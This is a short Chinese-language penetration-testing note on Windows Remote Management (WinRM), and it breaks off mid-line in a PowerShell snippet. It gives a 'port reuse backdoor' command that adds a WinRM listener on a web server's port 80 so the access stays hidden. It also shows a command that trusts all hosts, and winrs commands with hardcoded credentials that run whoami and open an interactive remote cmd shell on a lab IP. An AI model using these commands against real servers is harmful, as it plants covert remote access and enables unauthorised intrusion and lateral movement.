简介
WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。
Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。
PS:WIN7或2008需要手动开户WINRM
默认端口
5985/tcp (HTTP)
5986/tcp (HTTPS)
快速启动WinRM
winrm quickconfig -q 或 winrm qc
端口复用后门
对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。
Winrs远程执行命令
需要客户端启用Winrm,SYS权限受限制
客户端启用Winrm
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
远程执行CMD
通过Winrs连接,并执行whoami命令
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
通过Winrs连接,并获得交互式的shell
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
PowerShell远程执行命令
需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制
$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText